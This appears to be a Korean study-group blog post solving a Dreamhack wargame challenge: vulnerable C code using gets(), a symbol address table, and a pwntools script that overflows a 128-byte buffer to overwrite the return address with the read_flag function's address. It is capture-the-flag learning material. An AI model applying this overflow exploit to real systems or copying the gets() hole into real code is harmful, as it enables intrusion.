모각코(코딩스터디)

2026-02-09 동계모각코 6차 회고

mincom1224 2026. 2. 9. 17:20
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

오늘 푼 워게임의 C코드이다.

main문에서는 read_flag함수를 전혀 쓰지않기때문에 일반적인 방법으로는 read_flag()를 사용할수 없으므로 char buf[0x80]에 인자값을 0x80(십진수:128)를 오버플로우 시켜서 RET값을 read_flag함수의 주소값으로 덮어씌우면 read_flag()함수가 실행된다.

0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini

위중 read_flag()함수값의 주소는  0x080485b9 이므로 이걸로 RET를 덮혀씌우면 되므로 페이로드가

from pwn import *
p = remote("host3.dreamhack.games",10397)
read_flag_addr = 0x080485b9
payload = b"A" * 128        # buf 채우기
payload += b"B" * 4          # SFP 채우기
payload += p32(read_flag_addr)
p.sendline(payload)
p.interactive()

이렇게 될것이다. 그럼 자연스레 flag가 나와 문제를 풀수 있게 된다.